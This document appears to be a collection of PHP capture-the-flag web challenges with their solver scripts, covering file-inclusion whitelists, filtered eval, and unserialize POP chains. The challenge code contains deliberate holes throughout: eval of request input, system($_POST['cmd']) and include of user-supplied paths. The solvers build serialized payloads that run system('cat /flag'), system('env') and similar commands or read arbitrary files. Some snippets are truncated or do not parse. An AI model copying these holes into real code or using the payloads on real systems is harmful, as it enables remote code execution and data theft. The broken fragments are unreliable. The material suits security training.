class emmm
{
  public static function checkFile(&$page)
  {
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

if (in_array($page, $whitelist)) {
                return true;
            } 

$_page = mb_substr(
               $page,
               0,
               mb_strpos($page . '?', '?')

if (in_array($_page, $whitelist)) {
                return true;
            }

$_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }   

<?php
## 放弃把，小伙子，你真的不会RCE,何必在此纠结呢？？？？？？？？？？？？
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数！！！不叫样子！！';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么？？？？？？？？？");
    }
}
else{
    echo "居然都不输入参数，可恶!!!!!!!!!";
    show_source(__FILE__);
}

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code))

<?php

  header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __wakeup(){
    $this->passwd = sha1($this->passwd);
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "wllm"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->passwd;
      echo "No wake up";
    }
  }
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

public function __construct(){
  $this->admin ="user";
  $this->passwd = "123456";
}

public function __destruct(){
  if($this->admin === "admin" && $this->passwd === "wllm"){
    include("flag.php");
    echo $flag;
  }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

<?php

class Flag{  //flag.php  
    public $file="flag.php";
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a=new Flag();
echo serialize($a);
?>
    
    
    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 <?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m = ;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> 

<?php

class w22m{
  public $w00m;
  public function __construct()
  {
     $this->w00m=new w33m();  
  }
}
//因此我们构造的东西（$jay17），他是序列化后的w22m类，w22m类里面的变量w00m=w33m类

class w33m{
  public $w00m;
  public $w22m='Getflag';
  public function __construct()
  {
     $this->w00m=new w44m();  
  }
}
//w33m类里面的变量w00m为w44m类，w33m类里面的变量w22m为w44m类里面的Getflag函数

class w44m{
  private $admin = 'w44m';
  protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。

$j17 = new w22m();
echo urlencode(serialize($j17));
?>

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}
?>

if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}

$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"

<?php
  $info = array(
    'username'=>true,
    'password'=>true
  );
echo serialize($info);
?>

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?>   

$a = $this->lt;

$a($this->lly);

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt='system';#$a调用lt,将函数赋给lt
    public $lly='ls /';

}

$a = new lyh();
echo serialize($a);#序列化

?>

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt='system';
    public $lly='cat /flag';

}

$a = new lyh();
echo serialize($a);

?>

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

<?php
class X
{
    public $x = __FILE__;
}
$a = new X();
$a->x = "fllllllag.php";
echo (serialize($a));

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }

return $bb();

public function __toString(){
       $bb = $this->su;
       return $bb();
   }

public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }

public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }

public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

$n = new NISA();
$n->txw4ever = 'System("ls /");';
$n->fun = "sixsixsix";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
?>

<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

$n = new NISA();
$n->txw4ever = 'System("cat /*");';
$n->fun = "sixsixsix";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
?>

<?php
  highlight_file(__FILE__);

if(isset($_GET['code'])){
  $code = $_GET['code'];
  if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
    eval($code);
  }else{
    die('师傅，你想拿flag？');
  }
} 

if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
    eval($code);
  }

<?php
  error_reporting(0);
  $password = "Give_Me_Your_Flag";
  echo "<p>can can need Vim </p>";
  if ($_POST['password'] === base64_encode($password)) {
      echo "<p>Oh You got my password!</p>";
      eval(system($_POST['cmd']));
}
?>

if ($_POST['password'] === base64_encode($password)) 

eval(system($_POST['cmd']));

<?php
  stream_wrapper_unregister('php');

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
  system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));// 生成32位随机十六进制字符串（如 a1b2c3...）
$mkdir('users/'.$randFolder); // 创建目录 users/随机字符串
chdir('users/'.$randFolder);// 切换当前工作目录到该随机目录

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));// 优先取 X-Forwarded-For 头，否则取 REMOTE_ADDR（客户端IP）

$mkdir($userFolder);// 创建用户目录
chdir($userFolder);// 切换到用户目录
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');// 回到随机目录（users/随机字符串）
$_GET['page']=str_replace('.','',$_GET['page']); // 把 page 参数中的 . 替换为空
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
  include($_GET['page']);
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

?> 

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
  system('mkdir -- '.escapeshellarg($dir));
};

<?php

  error_reporting(0);
show_source("cl45s.php");

class wllm{

  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo "Just a bit more!";
    }
  }
}

$p = $_GET['p'];
unserialize($p);

?> 
if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");

<?php
class wllm{

    public $admin;
    public $passwd;
}

$a = new wllm();
$a -> admin = 'admin';
$a -> passwd = 'ctf';
echo (serialize($a));
?>

<?php
error_reporting(0);
class Sakura{
    public $apple;
    public $strawberry;
    public function __construct($a){
        $this -> apple = $a;
    }
    function __destruct()
    {
        echo $this -> apple;
    }
    public function __toString()
    {
        $new = $this -> strawberry;
        return $new();
    }

}

class NoNo {
    private $peach;

    public function __construct($string) {
        $this -> peach = $string;
    }

    public function __get($name) {
        $var = $this -> $name;
        $var[$name]();
    }
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;
    public function __call($arg1,$arg2){
        $function = $this -> orange;
        return $function();
    }
    public function __get($arg1)
    {
        $this -> cherry -> ll2('b2');
    }

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;

    public function __toString()
    {
        $long = @$this -> banana -> add();
        return $long;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> mangosteen -> tt2)
        {
            echo "Sakura was the best!!!";
        }
    }
}

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

class UesugiErii{
    protected $coconut;

    protected function addMe() {
        return "My time with Sakura was my happiest time".$this -> coconut;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;

    public function __set($name, $value)
    {
        $this -> $name = $value;
        if ($this -> Kiwifruit = "Sakura"){
            strtolower($this-> Carambola);
        }
    }
}

if(isset($_POST['GHCTF'])) {
    unserialize($_POST['GHCTF']);
} else {
    highlight_file(__FILE__);
}

class Sakura{
    public $apple;
    public $strawberry;
    public function __construct($a){ $this->apple = $a; }
    function __destruct() { echo $this->apple; } // 关键：echo 触发 __toString
    public function __toString() {
        $new = $this->strawberry;
        return $new(); // 关键：$new() 触发 __invoke
    }
}

class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this->blueberry)) == 123) { // 条件判断
            return $this->grape->hey; // 读取不存在的 hey 属性 → 触发 __get
        }
    }
}

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday); // 动态创建对象：类名=$Tuesday，参数=$Monday
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>'); // 遍历对象属性 → 触发 __toString
            }
        });
    }
}

<?php
class Sakura{
    public $apple;
    public $strawberry;

}

class NoNo {
    private $peach;
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;

}

class E{
    public $e;
}

class UesugiErii{
    protected $coconut;

}
class Heraclqs{
    public $grape;
    public $blueberry;
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;

}

$E = new E();
$E->DirectoryIterator = '/';

$Heraclqs = new Heraclqs();
$Heraclqs -> blueberry = "LLh";//123的md5弱比较
$Heraclqs -> grape= $E;

$Sakura = new Sakura();
$Sakura -> apple = $Sakura;
$Sakura -> strawberry = $Heraclqs;

echo serialize($Sakura);
?>

<?php
class Sakura{
    public $apple;
    public $strawberry;

}

class E{
    public $e;

}


class Heraclqs{
    public $grape;
    public $blueberry;

}


$E = new E();
$E->SplFileObject = '/flag';

$Heraclqs = new Heraclqs();
$Heraclqs -> blueberry = "LLh";
$Heraclqs -> grape= $E;

$Sakura = new Sakura();
$Sakura -> apple = $Sakura;
$Sakura -> strawberry = $Heraclqs;

echo serialize($Sakura);

<?php

  class entrance
{
  public $start;

function __construct($start)
  {
    $this->start = $start;
  }

function __destruct()
  {
    $this->start->helloworld();
  }
}

class springboard
{
  public $middle;

  function __call($name, $arguments)
  {
    echo $this->middle->hs;
  }
}

class evil
{
  public $end;

  function __construct($end)
  {
    $this->end = $end;
  }

  function __get($Attribute)
  {
    eval($this->end);
  }
}

if(isset($_GET['serialize'])) {
  unserialize($_GET['serialize']);
} else {
  highlight_file(__FILE__);
} 

class evil
{
  public $end;

  function __construct($end)
  {
    $this->end = $end;
  }

  function __get($Attribute)
  {
    eval($this->end);
  }
}

<?php

class entrance
{
    public $start;

}

class springboard
{
    public $middle;


}

class evil
{
    public $end;

}

$a = new evil();
$a->end = "system('env');";

$b = new springboard();
$b->middle = $a;

$c = new entrance();
$c->start = $b;

echo serialize($c);

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

<?php
$_SESSION["user"]='flagflagflagflagflagflag'；
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

 <?php
highlight_file(__FILE__);
error_reporting(0);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup(){
        if(is_array($this->a)||is_array($this->b)){
            die("no array");
        }
        if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b))){
            $content = date($this->file);
            $uuid = uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}
unserialize(base64_decode($_GET['code']));
?>

if(is_array($this->a)||is_array($this->b)){
            die("no array");

if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b)))

$content = date($this->file);
           $uuid = uniqid().'.txt';
           file_put_contents($uuid,$content);

<?php

class date{
    public $a;
    public $b;
    public $file;

}

$a = new Error("123","1");$b = new Error("123","2");

$s = new date();
$s->a = $a;
$s->b = $b;
$s-> file='/f\l\a\g';

echo base64_encode(serialize($s));


?>

<?php
  highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
  if(isset($_POST['b1'])&&$_POST['b2']){
    if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
      if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
        echo $flag;
      }else{
        echo "yee";
      }
    }else{
      echo "nop";
    }
  }else{
    echo "go on";
  }
}else{
  echo "let's get some php";
}
?>